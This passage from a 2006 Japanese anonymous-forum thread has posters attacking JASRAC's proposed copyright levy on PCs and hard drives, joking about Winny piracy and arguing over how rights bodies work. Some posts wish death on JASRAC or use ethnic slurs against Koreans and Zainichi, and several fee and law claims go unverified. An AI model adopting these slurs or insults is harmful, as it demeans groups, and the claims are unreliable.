芸団協 25.6%
レコード協会 25.6%

カスラックの取り分が一番でかいのは秘密です


611 :名無しさん@6周年:2006/05/23(火) 09:57:53 ID:xtriKqE40
JASRAC 2% (共通目的事業への支出を含む)
芸団協 9%
レコード協会 9%
著作権者 80%

これなら、考えなくもない。
しかも自作midiについてグダグダいうなと。


612 :名無しさん@6周年:2006/05/23(火) 09:58:17 ID:9/wfIpVn0
ハードでなくて、itunesとかwmpなんかのソフトに課金すればいいじゃない。
いっそ、Windowsに課金すればぁ?

613 :名無しさん@6周年:2006/05/23(火) 10:02:22 ID:0YcVefb30
CDで金払ってまた金別に取られるのと同じ?

違法ダウンロードなど一切したことせずCD買ってる俺に喧嘩売ってんのか?
カスラック死ね

614 :名無しさん@6周年:2006/05/23(火) 10:05:16 ID:2P/9NWf8O
ジャスラック自体がいらねー

615 :名無しさん@6周年:2006/05/23(火) 10:05:19 ID:eSCUSWN40
》610

なにこの消防向け夏休みの研究課題みたいな項目

616 :名無しさん@6周年:2006/05/23(火) 10:07:20 ID:PkYkwFU70
これ、業務用のPCやサーバのHDにも課金するつもりか?

617 :名無しさん@6周年:2006/05/23(火) 10:07:38 ID:4G4zL1CV0
パソコンで音楽の聞きかたがよくわからん

618 :名無しさん@6周年:2006/05/23(火) 10:08:59 ID:vCB4Vpm70
頭おかしいんちゃうか

619 :名無しさん@6周年:2006/05/23(火) 10:09:31 ID:8OpvKysp0
補償金の問題は本来JASRACではなくSARAHやSARVHの問題なのにな。
それだけJASRACはレコード業界の口聞き役として重要な位置にあるということか。
文化庁<->JASRAC<->RIAJ<->レコード会社

620 :名無しさん@6周年:2006/05/23(火) 10:10:12 ID:5xy4MKdk0
893と同じですから

621 :名無しさん@6周年:2006/05/23(火) 10:14:53 ID:5Sg9uTgBO
暴対法で所場代徴収は禁止されてんのに
何故こいつらは公然と金集めてんの?

622 :名無しさん@6周年:2006/05/23(火) 10:15:40 ID:lK/T2pLr0
新補償金制度がはじまります

新しい保存媒体が出るたびに課金方法を決めるのでは
煩雑、不公平になります。
そこでこのたび、デジタルデータそのものに
課金することにいたしました。

メディアの種類によらず
1ビット1円で、すべてのファイルから
ビット使用料をお支払いいただきます。

当協会の職員が皆様の家を訪問いたしますので
御協力をお願いいたします。
いまなら銀行振り込みが便利です。


623 :名無しさん@6周年:2006/05/23(火) 10:16:50 ID:8OpvKysp0
>>578
「廃止も含めて再検討」という結論は委員会を再編して議論のやりなおしとなった。
http://plusdblog.itmedia.co.jp/koderanoblog/2006/04/post_6fd9.html
議論の流れが業界にとって不利な状況となったため、業界の連中が根回しして、
委員会のメンバーを業界寄りの人間にごっそり入れ替えて仕切直し。

624 :名無しさん@6周年:2006/05/23(火) 10:18:27 ID:I48tPPH/0
>>1
配信会社→パソコン→iPod

        ↑PCは、ただの通過点に過ぎない。

ただの【通過点にも課金】だと?本気か?おい・・・

だったら、ケーブルテレビの配線とか、電話線、無線の設備とかも全て課金してみろや!!このボケナス!!!!


    JASRAC は、本当に死んでください。お願いします。

625 :名無しさん@6周年:2006/05/23(火) 10:21:30 ID:I48tPPH/0
>>35
なるほど

【音楽用パソコン】をJASRACが売れば、万事解決だな!!!!

626 :名無しさん@6周年:2006/05/23(火) 10:21:41 ID:B4notmYI0
何で誰も別の権利者団体起こさないの。


627 :名無しさん@6周年:2006/05/23(火) 10:22:11 ID:eZ5F+PsC0
ある意味NHK受信料のの集金の方がマシだと思うし納得出来る。

628 :名無しさん@6周年:2006/05/23(火) 10:23:20 ID:hdyW4yjW0
NHKみたいに1軒1軒まわって徴収すればいいじゃない

629 :名無しさん@6周年:2006/05/23(火) 10:25:53 ID:8OpvKysp0
>>581
http://www.jasrac.or.jp/park/inschool/
必要ありません。
コンクールの模様を録画して公開する場合は手続きが必要です。

630 :名無しさん@6周年:2006/05/23(火) 10:28:16 ID:8OpvKysp0
>>582
文化庁の役人が天下り先で金儲けできないからです。

631 :名無しさん@6周年:2006/05/23(火) 10:32:21 ID:10oTs5Jw0
民主党の川内先生に頑張ってもらいたいね。

自民党には腰掛けでJASRAC理事長として退職金をがっぽりもらった
小野清子先生がいらっしゃるからJASRACに有利な政策を進める勢力が
強そうだしね。

自民党が圧倒的多数を占めている現状では、自民党と仲のいい組織が
優遇されるのはあたりまえだよね。

経団連・警察・パチンコ屋・JASRACなどなど。

632 :名無しさん@6周年:2006/05/23(火) 10:42:18 ID:8OpvKysp0
民団・総連・連合・日教組・解同などなどが優遇されるのも嫌だけどね。

633 :名無しさん@6周年:2006/05/23(火) 11:25:26 ID:ZdUMfkGj0
>>623
このブログの人、補償金反対という気持ちは良く伝わってくるけど、
プロ市民がネット化している典型的な例っぽい

634 :名無しさん@6周年:2006/05/23(火) 12:17:08 ID:hgPrYYQ9O
補償金反対はプロ市民の扱うネタじゃナイと思う

635 :名無しさん@6周年:2006/05/23(火) 12:26:19 ID:1GVksJkT0
邦楽オワタ

636 :名無しさん@6周年:2006/05/23(火) 12:35:10 ID:P9HhSlu8O
鼻歌で金盗られる日も近い?

637 :名無しさん@6周年:2006/05/23(火) 12:38:28 ID:Hi64MWbR0
>>54
ポイズン♪

638 :名無しさん@6周年:2006/05/23(火) 12:40:15 ID:ZdUMfkGj0
>>634
プロ市民のネタは行政や天下り団体って相場が決まってる。
あのブログの人の口調と内容からは、プロ市民特有の煽動臭がプンプンする。

639 :名無しさん@6周年:2006/05/23(火) 21:37:53 ID:Sn41MnhM0
著作権絡みの法案は共産党でさえ賛成するのがネックだな


640 :名無しさん@6周年:2006/05/23(火) 21:45:47 ID:WkiubsvJ0
脳が不自由な奴ばっかだな。さすがだ。

641 :名無しさん@6周年:2006/05/23(火) 21:46:40 ID:Dy2yJ50Z0
金の亡者

642 :名無しさん@6周年:2006/05/23(火) 21:54:17 ID:LndaC0jK0
屁こいたら尻からも課金します

643 :名無しさん@6周年:2006/05/23(火) 22:05:33 ID:rHd8ALnbO
しまいには脳内で流れる曲からも保証金を取りそうだな

644 :名無しさん@6周年:2006/05/23(火) 22:13:08 ID:aiWo6hBC0
JASRACにメールしたやつ、返信来た

■回答 (JASRAC) - 2006/05/23 02:27 PM
**様

お問合せいただきました件につきましてご説明申し上げます。

ご質問1
私はパソコンで一切音楽を聴かないのですが、なぜ払う必要性が生じるのでしょうか?

私たちが主張しているのは、どのような機器・媒体を対象とするにしても、「私的録音している
のであれば私的録音補償金が必要です」ということです。
私的録音されていない方からも補償金をいただく、という要求はしておりません。

その方法につきましては、この2年間をかけて検討することになっています。
みなさま消費者の代表の方からは、私的録音の都度課金するようなシステムの導入を提案
されているところでもあり、そうした技術的な解決方法も検討されることになっています。

ご質問2
その理由が、「音楽配信サービスの利用実態に着目して」 とのことですが、それらは配信元に
著作権料を払わせ、受領ているのではないのですか?

音楽配信事業者がJASRACとの間で結んでいる契約に基づきお支払いいただいている使用料
は、配信事業者の責任範囲であるダウンロードの際にPCや携帯電話にできる最初の複製までを
カバーしています。
その後、複製された音楽データをダウンロードした個人の方がiPodなど他のものに複製する時に生
じる対価は一切含んでおりません。


645 :名無しさん@6周年:2006/05/23(火) 22:27:31 ID:Dl2uhbpZ0
年々増えてゆく名前だけで仕事をしない理事。
こいつらの社会的に必要な要素ってあるのか?
カスラックだけに限ったことではないが、理事だの副理事だのといった階級の奴らを
片っ端からつるし上げてそいつらの存在理由を明確に説明してもらいたい。

646 :名無しさん@6周年:2006/05/23(火) 22:31:00 ID:s+ES3KaG0
PCの課金を払えば、堂々とウィニーとか使えるんだな。
はいはい、オッケーです

647 :名無しさん@6周年:2006/05/23(火) 22:32:43 ID:MoSSy5wI0
あれだけ活気付いてたMIDIのコミュニティがいっぺんに潰されたよね
俺の友人も何にも悪い事してないのにJASRACに脅されて止む無くサイト閉鎖してたなぁ

648 :名無しさん@6周年:2006/05/23(火) 22:39:18 ID:XWBNMyhKO
逝け100G楽曲データ
忌まわしきネットへ
そして美しく散れ…

649 :名無しさん@6周年:2006/05/23(火) 22:54:07 ID:qhxRI8IV0
>>515
> 楽器手にしたら、曲を弾きたくなる。
> 曲が引けりゃ、誰かに聞いてもらいたくなる。

オリジナルを弾けば誰にも文句は言われなかったんじゃね?

650 :名無しさん@6周年:2006/05/23(火) 22:56:42 ID:On85NOVE0
>>649
あらゆる創作は模倣から始まるのが当然なんだけど、
その芽を全滅させちゃってるのが問題かな。

程度ってモノがある。

651 :名無しさん@6周年:2006/05/23(火) 23:03:27 ID:WkiubsvJ0
>>650

創作者の模倣 と ユーザーの複製と の違いを理解していない人ハケーン
ユーザーの複製行為は文化ではない。創作者の築いた文化をタダ乗りする行為。

652 :名無しさん@6周年:2006/05/23(火) 23:03:46 ID:Dyr0JlHH0
邦楽CDが売れないのはカスラックのせいだと

何回言われたら気付くのでしょうか。

653 :名無しさん@6周年:2006/05/23(火) 23:05:24 ID:afqdbtW00
NHK臭いな

654 :名無しさん@6周年:2006/05/23(火) 23:07:28 ID:qhxRI8IV0
>>650
模倣は大いにするべきだと思うけど、模倣したものを公開しなくてもいいじゃん。
画家が、例えば習作として描いたピカソの模倣を、個展で発表するようなものじゃん

655 :名無しさん@6周年:2006/05/23(火) 23:11:40 ID:XWBNMyhKO
>>654
赤の他人との距離はネットで
もう無いに等しいのに?
自分が練習したらみてもらう
親戚一同 CRTの窓から覗く他人でも

656 :名無しさん@6周年:2006/05/23(火) 23:13:47 ID:qhxRI8IV0
>>655
クローズドなネットでやるべきだね
オープンでやるのならお金を払うべきだね。授業料授業料w

657 :名無しさん@6周年:2006/05/23(火) 23:21:55 ID:On85NOVE0
古賀財団の中の人乙

658 :名無しさん@6周年:2006/05/23(火) 23:22:42 ID:2AGdTMMT0
JASRACを廃止するかどうかは検討されないのか?

659 :名無しさん@6周年:2006/05/23(火) 23:33:29 ID:/5mMBheb0
http://www.douga-ch.net/files.php?no=18626&junle=allav&filename=18626.asx

660 :名無しさん@6周年:2006/05/23(火) 23:58:22 ID:On85NOVE0
>>654
>個展で発表するようなもの

金とってたら無論アウトだが、その喩えでいうならこの場合は
無料で、かつ「習作」であることを明示して展示してるわけでしょう。
しかも「個展」レベルにも至らない、玄関先の落書き程度のものまで
「個展」に相当する、として一律で扱った。

JASRACのとった手段の中身もアレで、
「無料の個展を発見する専用クルーを大量動員して、
 発見したら有無をいわさず中止させるか
 JASRAC側が一方的に決定した「ショバ代」を払うかの
 2択を突きつける」という、話し合いの余地皆無の”非文化的”方法。

「程度ってモノがある」といったのはそういうことなんだけどな。頭わるいスね。

661 :名無しさん@6周年:2006/05/24(水) 00:07:42 ID:6K+NvJzq0
>>660
>  JASRAC側が一方的に決定した「ショバ代」を払うかの
>  2択を突きつける」という、話し合いの余地皆無の”非文化的”方法。

利用者側が団体作ってれば、交渉が出来たんだけどねえ
可能性を自ら摘み取ってしまった訳だ。

662 :名無しさん@6周年:2006/05/24(水) 00:31:51 ID:wM3TmgPy0
>>644
わざわざ乙。

技術的にどうやって課金するんだろうねえ。
複製料払わんと脅迫するようなWindows
パッチでもインストールさせるかね。MSと組んで。

663 :名無しさん@6周年:2006/05/24(水) 02:18:03 ID:pch1SeYB0
>>629
はい、うそ。
公の場で唄うこと自体は申請は不要ですが、
厳密に解釈すると、歌詞・楽譜をコピーして配布した
段階で著作権者への申請が必要になります。

歌謡曲の場合、当然、カスラックも絡んできます。

664 :名無しさん@6周年:2006/05/24(水) 02:22:13 ID:HUkBmXUI0
自分では何も生み出さず、勝手に金が入ってくる仕組みの中心に居座る。
商売としてはうまいやり方だよなぁ。

665 :名無しさん@6周年:2006/05/24(水) 02:34:20 ID:C8WXgw8x0
>>664
あやかりたく、ねたましいほどに。
当然ながらこういう立場につけるのはごく少数で、
そうなるためには並々ならぬ努力かコネが必要という時点で、
もはや嫌悪や嫉妬といった負の感情をぶつけるべき対象でしかないがな。

666 :名無しさん@6周年:2006/05/24(水) 02:36:16 ID:0A6Kn7Fj0
てか、PCに課金されるならwinnyで音楽落とし放題じゃね?
うっひょー

667 :名無しさん@6周年:2006/05/24(水) 02:47:36 ID:1+kT6fnNO
>レンタルする←搾取
>⇒気に入ったのでCD買う←搾取
>⇒PCに録音←搾取
>⇒iPodに転送←搾取
>⇒車用にコピーのCD作る←搾取
>⇒仕事場で流す←搾取
>⇒カラオケで唄う←搾取


酒税やたばこ税、ガソリン税に近いものを感じるのは気のせい?

668 :名無しさん@6周年:2006/05/24(水) 02:48:46 ID:C8WXgw8x0
>>667
一般財源化される見込みがゼロなだけ、数億倍悪質です。

669 :名無しさん@6周年:2006/05/24(水) 02:54:20 ID:y6sjq8Xf0
>>667
おまえの劣化脳には課金されないから安心しろ。

670 :名無しさん@6周年:2006/05/24(水) 02:56:08 ID:VRuBhoWx0
そのうち記憶しただけで金とられそうだ

671 :名無しさん@6周年:2006/05/24(水) 02:59:40 ID:newz32G9O
聞いただけで課金とかな

672 :名無しさん@6周年:2006/05/24(水) 03:00:49 ID:C8WXgw8x0
JASRACと愉快なとりまきさんたちが「著作権を守ろうね♥」なんつーのは、
全米ライフル協会が銃規制に反対するほどにうさんくせえ。
音楽文化の振興を利するために動いてくれる団体としての信頼性は落ちる一方だ。俺の中では。

法律だから守るけど、不満はたまる。

673 :名無しさん@6周年:2006/05/24(水) 03:01:01 ID:A+TVdY9C0
>>667
もっと酷いだろう


674 :名無しさん@6周年:2006/05/24(水) 03:06:22 ID:clSgP/hj0
F5攻撃をしたから俺のとこにこないと逮捕するぞって前にあったけど
本当に意味不明な会社だな。

675 :名無しさん@6周年:2006/05/24(水) 04:20:18 ID:AZv17+iJ0
>>654
>>660

個展で発表するようなもの、ってのはちょっと違うんじゃないだろうか。
DLしてお持ち帰りすることが可能なわけで。

絵画の個展などと比較するより、どちらかというと
自分で模写した漫画を「ご自由にお持ち帰りください」という形で世界中に配布した、みたいなもんじゃないかな?

>>663
>公の場で唄うこと自体は申請は不要ですが、

とあるわけだし、嘘というのはちょっとキツイのでは?
単に「コンクールの際歌詞や楽譜をコピーして配布するのに著作権者の許可がいる」と書けば宵のでは無いでしょうか。


676 :名無しさん@6周年:2006/05/24(水) 04:59:10 ID:nY33y2Qt0
聞かなくてもとりあえず課金
送料・手数料>利用料のように設定しておけば
余程の好事家しか返金請求しないからな。
人に頭下げる分物乞いの方がまだ同情できる。

677 :名無しさん@6周年:2006/05/24(水) 08:02:55 ID:zG6BUIn00
>>608
契約書なんか交わしても漏れたら終了。

「契約書があります」なんて言っても何でカスなんかに情報出してんだといわれて終わり。



678 :名無しさん@6周年:2006/05/24(水) 08:09:13 ID:WbenNej00
この利権団体何とかしろよ

679 :名無しさん@6周年:2006/05/24(水) 08:14:51 ID:6FdnCNCR0
もうお前が聴こうが聴くまいがどうでもいいから
パソコン買ったらとにかく払えって事だよな。
著作の有無に関係なく払う仕組みはおかしいだろ。

680 :名無しさん@6周年:2006/05/24(水) 08:33:35 ID:QCPCg4hOO
だんだんエスカレートしてきたな

681 :名無しさん@6周年:2006/05/24(水) 09:03:03 ID:urWl2xlg0
音ヤクザ・チンカスラック

682 :名無しさん@6周年:2006/05/24(水) 09:04:29 ID:OGFOXYLP0
>>679
なんかどこかで聞いたような理屈だな・・・

あ、NHKだw

683 :名無しさん@6周年:2006/05/24(水) 09:08:35 ID:/Cg+bf5g0
近くのイスラムモスクの朝晩の祈りにも課金しそうな勢いだな。

684 :名無しさん@6周年:2006/05/24(水) 09:20:50 ID:HiCMC/bC0
くされ利権団体調子に乗りすぎ
いい加減にしないとぶっ潰すぞ

685 :名無しさん@6周年:2006/05/24(水) 09:21:39 ID:ROn4mkFG0
俺、ガキの頃からずっとピアノやっててさ
一日4時間は絶対弾いてるんだけど、
これっていくら請求されんのかなw

ちょっとカスラックいい加減にしたほうがいいと思うぜ。

686 :名無しさん@6周年:2006/05/24(水) 09:23:19 ID:RDq4WOVp0
カスラックは音楽産業を衰退させたいらしい。

687 :名無しさん@6周年:2006/05/24(水) 09:25:26 ID:uq8B7d920
「ユーザが複製するごとに課金する」という理論は実態にそぐわない。

1.パソコンのHDDには故障などのリスクがあり、
  「配布側で永遠に繰り返しダウンロード可能」などの措置が
  とられない限り、購入した個人の側で
  バックアップをもつことは当然の権利である。
  「パソコンやHDDの寿命とともに、購入した音楽の権利が消失する」というのは
  いかがなものか

2. 購入した楽曲を、家でパソコンで聴取するだけでなく
  IPODなどに入れて、外で聞くことも広く行われている。
  しかしパソコンIPOD携帯の間で楽曲を「ムーブ」する方法が
  確立しておらず、多くの場合
  「2重、3重の支払い」が要求される。
  製造者側の問題を、消費者におしつけていないだろうか
  

688 :名無しさん@6周年:2006/05/24(水) 09:25:39 ID:Q4uvpbY40
ほんと寄生団体だな

689 :名無しさん@6周年:2006/05/24(水) 09:26:00 ID:pVyNnwei0
楽器も補償金対象?
スピーカーもだな。
金属も叩くと音出るぞ。
水も音するし、木も叩くと鳴るな。
鳥も犬もネコも鳴くニダー。
人の口も耳にも課金ニダー。
世界に存在する物質全てに課金ニダー。

690 :名無しさん@6周年:2006/05/24(水) 09:26:03 ID:iPbBZmd20
>>685
非営利の演奏には著作権は適用されないな

691 :名無しさん@6周年:2006/05/24(水) 09:28:10 ID:1wklyyyfO
最終的には音全てに課金、喋るのも課金、抗議も受け付けない。
天下りにうってつけの馬鹿企業ですな。

専用の独自メディアと機器でもつくってろよ。

692 :名無しさん@6周年:2006/05/24(水) 09:33:15 ID:Tm7fWgt90
音楽家は聞くだけでコピーできる可能性があるため
人生に課金します

693 :名無しさん@6周年:2006/05/24(水) 09:33:48 ID:9kf/xFBH0
もう著作権法の恩恵にあずかる音楽に対して、著作物公開許諾金みたいな物を作って
1曲年間100万くらいの高額の手数料を取るべきだな。
手数料取ったものに対しては著作権法による保護を受けるような感じで・・。そうすれば
権利だけを主張する中身のない音楽を淘汰でき良質な物だけが残るだろうし・・。

694 :名無しさん@6周年:2006/05/24(水) 09:37:13 ID:x7r+zZzZO
金の亡者だな。音楽を聞かない人のパソコンからも金取る気か。

695 :名無しさん@6周年:2006/05/24(水) 09:43:18 ID:1wklyyyfO
>>1
何故かHDD、サウンドボード、スピーカー各自に課金される予感。
さすがにメモリやCPUに課金する馬鹿はいないだろうが…

696 :名無しさん@6周年:2006/05/24(水) 09:44:11 ID:x7r+zZzZO
もうジャスラックが専用再生機作れよ。複製不可の特殊フォーマットで外部端子なし
聞くときはジャスラックに認証を取ることにしてw

ハードディスクに課金なんて都合よすぎだ。

697 :名無しさん@6周年:2006/05/24(水) 09:44:13 ID:cgvcquI+0
>>690
そのうち、営利の演奏もできるという理屈で課金されるよ

698 :名無しさん@6周年:2006/05/24(水) 09:52:35 ID:qB8iGGL/0
こういう主張が通るようでは日本は終わり。

699 :名無しさん@6周年:2006/05/24(水) 09:55:07 ID:P/Nq7KND0
>>644
補償金の徴収は著作権者に生じる不利益を補填するためのものだけど、
個人が著作権料を支払って購入した楽曲を、
同じ個人が所有するiPodなどの携帯再生機へコピーすることで、
著作権者にどのような不利益が生じるのだろうか?

700 :名無しさん@6周年:2006/05/24(水) 09:55:44 ID:x7r+zZzZO
>>697
非営利目的の演奏でも、外に音が漏れる形なら漏れた音を聞いた人のCDなどを
買う機会を喪失させている→課金

とかになるかもな。なんでも言いそうだし。

701 :名無しさん@6周年:2006/05/24(水) 09:56:29 ID:2QqQfK+w0
その内人間の耳は音楽が聞けるから生まれたら年間幾らって課金される様になるんじゃね?

702 :名無しさん@6周年:2006/05/24(水) 09:57:22 ID:BLeePCQO0
確か、カスラックって物凄く儲かっているんだろ?
本当に金の亡者だな。誰かアーティストが有志を集めて、他の団体を作れば良いのに。

703 :名無しさん@6周年:2006/05/24(水) 10:00:56 ID:x7r+zZzZO
>>702
買う側が音楽聞くのやめようキャンペーンをした方が早そう

704 :名無しさん@6周年:2006/05/24(水) 10:01:57 ID:P/Nq7KND0
>音楽配信事業者がJASRACとの間で結んでいる契約に基づきお支払いいただいている使用料は、
>複製された音楽データをダウンロードした個人の方が
>iPodなど他のものに複製する時に生じる対価は一切含んでおりません。
補償金はその対価を徴収するための制度ではないわけだが。

705 :名無しさん@6周年:2006/05/24(水) 10:07:11 ID:qJiumKgs0
>>704
というより、
>iPodなど他のものに複製する時に生じる対価は一切含んでおりません。
というのは嘘で、

着信音専用データ
電話等の着信音に用いるデータのうち、通常の総再生時間が45 秒以内のもの
であって、受信先の端末機械から他の記憶装置への複製ができない形式のもの
をいう(画像などを伴うものを含む)。

の場合は、普通より利用料安いんだけどね。その差額の中には「受信先の端末機
械から他の記憶装置への複製」をする対価が含まれてる。

706 :名無しさん@6周年:2006/05/24(水) 10:09:22 ID:zSXdJr890
ここのせいで昔多くのサイトつぶれたよな・・・・


707 :名無しさん@6周年:2006/05/24(水) 10:18:08 ID:cgvcquI+0
いまさらだが
>>1
HDDプレイヤは対象だけどシリコンプレイヤは対象外なのか?

708 :名無しさん@6周年:2006/05/24(水) 10:19:48 ID:njreJvOFO
音楽聞かない奴からも金盗るのかよ。いい加減にしろ泥棒団体。

709 :名無しさん@6周年:2006/05/24(水) 10:22:58 ID:JKv5CdhUO
金盗られちゃったら当然、コピーしてバラ撒く義務があるんですよね?w

710 :名無しさん@6周年:2006/05/24(水) 10:28:07 ID:ZY6xjiFM0
ネット配信の曲を補償付きCD-Rに焼いたとしたら,三重課金になるじゃねーか。
というのがカスラクに最もおいしいシチュなんだろう。

711 :名無しさん@6周年:2006/05/24(水) 10:47:05 ID:9kf/xFBH0
そもそもCDの値段が高すぎるしな。逆輸入CDを止めたことでCDの価格がほとんど下がっていない。
下がっても東芝EMIの端数程度の値下げしかないしね。結局逆輸入CDの件で音楽業界は大嘘をついた。
世界的に見ても日本のCDの価格は諸外国の倍だし・・。

今回もまたありもしない被害例を作って無理矢理通しそうだな。

712 :名無しさん@6周年:2006/05/24(水) 10:49:04 ID:P1YNZwxj0
PCの主な用途って企業のオフィス向けだろ?音楽関係ねーし

713 :名無しさん@6周年:2006/05/24(水) 11:21:24 ID:nKvTMJCB0
>>1

限りなくNHKの「チューナーがあればNHKの視聴が可能。よって徴収義務発生」
という屁理屈と同じですな。

714 :名無しさん@6周年:2006/05/24(水) 11:23:37 ID:QbcvgIKZ0
3重取りか

715 :名無しさん@6周年:2006/05/24(水) 11:24:25 ID:+veoASVm0
>>713
徴収義務じゃなく支払い義務だろ。

716 :名無しさん@6周年:2006/05/24(水) 11:26:18 ID:0vep9xpL0
歌詞やジャケットをコピーできる紙類全てにも課金しそーな勢いだなオイ

717 :名無しさん@6周年:2006/05/24(水) 11:27:21 ID:QajQFYTI0
それならサウンドカードに課金して欲しいな。サウンドカードレスのパソコン組むからさ。

718 :名無しさん@6周年:2006/05/24(水) 12:10:29 ID:/Cg+bf5g0
音が出るものはすべて課金します。車のエンジンも課金。

719 :名無しさん@6周年:2006/05/24(水) 12:16:29 ID:Z3wBWwSnO
これで国内の全産業を敵に回したな

720 :名無しさん@6周年:2006/05/24(水) 12:28:59 ID:cgvcquI+0
音が出ないものは「4′33″」の著作権料を徴収します

721 :名無しさん@6周年:2006/05/24(水) 12:33:41 ID:Ydlel4DlO
聞きたくない権利を主張します。
街からうるさい音楽を排除してから文句言え。

722 :名無しさん@6周年:2006/05/24(水) 12:36:42 ID:wVLFU3bBO
耳が聞こえない人間がパソコン買っても課金されるん?

723 :名無しさん@6周年:2006/05/24(水) 12:55:03 ID:CtoFRQgg0
本来、客側に著作権なんて何の関係もない。
著作権が侵害されて困るのはアーティストとレコード会社だけ。
だから著作権がらみで金を払うのは本来は客ではなくレコード会社がする事。
あと仮に記録媒体に課金するという事であれば著作権侵害があった場合にはJASRACがアーティストやレコード会社から補償を負うという事だよな。
でなければJASRACが金を取る意味が全くない。


724 :名無しさん@6周年:2006/05/24(水) 12:58:30 ID:GebxuXIF0
>>722
音楽は心で聞くものだから、当然課金

725 :名無しさん@6周年:2006/05/24(水) 13:03:17 ID:TSOXfDW8O
JASRAC氏ね

726 :名無しさん@6周年:2006/05/24(水) 13:41:49 ID:ROQkPc570
>>720
クソワロタ

727 :名無しさん@6周年:2006/05/24(水) 14:32:27 ID:+veoASVm0
>>723
確認のために言っとくが、徴収主体はJASRACではないのだが。

728 :名無しさん@6周年:2006/05/24(水) 15:00:40 ID:Ih0xjane0
なんでか↓この絵本を思い出した
http://www.ehonnavi.net/ehon00.asp?No=6593

729 :名無しさん@6周年:2006/05/24(水) 15:10:20 ID:LsTh9FNY0
会社の仕事用パソコンで音楽なんか聴くかよ


730 :名無しさん@6周年:2006/05/24(水) 15:27:14 ID:lgg1mMRN0
HDDに課金されたら俺マジに返金請求するよ。音楽まったく聞かないし

731 :名無しさん@6周年:2006/05/24(水) 15:29:47 ID:n5UhXnyk0
パチンコ店BGMは優遇か

また在日利権の悪寒w

732 :名無しさん@6周年:2006/05/24(水) 16:04:34 ID:P/Nq7KND0
>>716
印刷物の複製も著作権法の範疇だろう
しかし高性能なデジタルコピー機が普及した今日においても、
コピー用紙に補償金なんて話は聞いたこともないな

733 :名無しさん@6周年:2006/05/24(水) 16:05:50 ID:XNI/xY5e0
中間搾取


734 :名無しさん@6周年:2006/05/24(水) 16:08:12 ID:v+Tk+qNh0
これ利用して商売できるよね。

俺も一枚かませていただくわ

735 :名無しさん@6周年:2006/05/24(水) 16:09:16 ID:vpxg+3ocO
耳と脳みそへの課金も近いな

736 :名無しさん@6周年:2006/05/24(水) 16:13:13 ID:6K+NvJzq0
>>732
スキャナーに補償金制度を導入しろと言う話は出ているけどね

737 :名無しさん@6周年:2006/05/24(水) 16:23:51 ID:QJsseLAl0
そもそもJASRACに著作権料だかなんだかを支払うのがおかしくねーか?
各レコード会社の出してるCDに直接支払いをすればいいんだろ?

738 :名無しさん@6周年:2006/05/24(水) 16:40:39 ID:6K+NvJzq0
>>737
CDの場合、レコード会社がJASRACに著作権使用料を払っているんだけど、
何か問題ある?

739 :名無しさん@6周年:2006/05/24(水) 16:45:52 ID:QJsseLAl0
>>738
それがおかしくね?
著作権使用料とかそういう名目のカネの流れがあるってことが
どーも俺には納得いかないんだけど。

740 :名無しさん@6周年:2006/05/24(水) 16:53:25 ID:6K+NvJzq0
>>739
なんで納得がいかないのか説明してくれないことには

741 :名無しさん@6周年:2006/05/24(水) 16:58:19 ID:QJsseLAl0
>>740
ジャスラックってのは、作詞家や作曲家などと契約して著作権料の徴収を代行する
ってのが名目の団体なんでそ?

ってか、そんな団体って必要があるのかって思うわけ。
そもそも、楽曲を販売しているレコード会社がそれぞれ自社の楽曲の著作権を管理すれば
そんな団体必要ないんじゃない?
そうすれば、ジャスラックの取り分?っていうか変なカネの流れがなくなるからその分、
一般の消費者というかCDを購入する人の著作権料だか使用料だかわけのわからん
名目の金額がもっと低くおさえられるんじゃねーかと思うんだけど。

742 :名無しさん@6周年:2006/05/24(水) 17:06:56 ID:AZv17+iJ0
>>741
管理する団体がバラバラだと利用者に不便がかかるから、でしょう。
JASRACがとっていく手数料は著作権使用料の約7%で、それほど大きなものでは無いと思う。

JASRACのような「著作権管理団体」が存在すること自体はそれほど問題では無いと思う。
むしろ無いほうが問題が多くでると思うよ。

例えば有料の演奏会を開こうと思ったときに、それぞれの楽曲の権利者を調べ上げ、それぞれ個別に交渉をしなきゃいけなくなっちゃう。
こういうことが色々な場面で起きてしまうわけで。

743 :名無しさん@6周年:2006/05/24(水) 17:07:34 ID:0x9PkflA0
>>2なら全面的にJASRACを擁護してみる

744 :名無しさん@6周年:2006/05/24(水) 17:11:36 ID:QJsseLAl0
>>742
解説ありがd。

でも、やっぱり俺は納得いかないけどね。
演奏する曲をだれが作っているかなんて、いまどき各レコード会社がネットにデータベースを
公開すればすぐに検索できることだし、一括して代行する窓口がそんなに必要なものなのか
疑問におもうな。

ってことで、スレ汚しゴメソ

745 :名無しさん@6周年:2006/05/24(水) 17:17:16 ID:AZv17+iJ0
>>744
権利者が誰かを調べるのは手間っちゃあ手間だよ。作曲者や作詞者の名前がわかったところで
それが本名であるかわからないし、どこにコンタクトを取ったら良いのか調べるのはとっても難しい場合も。

それらのデータをすべてレコ社に管理させるとなると、移籍時などにごちゃごちゃになっちゃうこともあるし
そもそも大手のレコ社に流通を頼らない音源の管理はどうするのか?という問題が出てきちゃう。

例えばiTMSをメインに販路を作ろうと思った場合、果たしてiTMSは著作権管理までやってくれるのか?とかね。
もしやってくれる場合、一つの楽曲、一つの同一音源に関する著作権の管理が流通経路によってバラバラになってしまう恐れも。
著作権管理を流通業者に任せる、ってのは個人的にはあまり得策ではないかな、とかんがえております。

それより「著作権管理団体」が複数ある状態、というほうがよいのではないかと。
現在、JASRAC以外の団体も存在はしているけど、吹けば飛ぶほど小規模。

いっそのことJASRACを二つに分割して競わせる、くらいのことをしてもいいんじゃないかと思う。
現実味は非常に薄いけど。

746 :名無しさん@6周年:2006/05/24(水) 17:26:39 ID:68JZEO5I0
カスラック嫌いだったけど、逆にこれほどおいしい商売は無いと思い、カスラックに就職活動中www

747 :名無しさん@6周年:2006/05/24(水) 17:41:01 ID:cgvcquI+0
>>742
7%はいくつも分類がある中で最低(CD)な。
カラオケや着メロはもっと高く、生演奏などは30%くらいじゃなかったっけ。

手数料以上に問題視されているのが、取った金の再配分。
放送、カラオケなどの権料は楽曲ごとに管理されておらず、
誰にいくら払うかをJASRACが決めるシステムになっている。
役員と関係の深い演歌業界に過剰に配分されているとかないとか。

748 :名無しさん@6周年:2006/05/24(水) 17:43:23 ID:qB8iGGL/0
ITMSなどの電子化で >>747にある対価の偏りは公平になるね。

749 :名無しさん@6周年:2006/05/24(水) 17:44:12 ID:cYKJ4NDn0
カスラックのやってることは著作権料の徴収代行じゃなくて、嘱託だもんな。
これがどんなにカスラックにとって都合よく、著作者にとって都合悪いかわかるか?

750 :名無しさん@6周年:2006/05/24(水) 17:45:39 ID:HfHXd9UT0
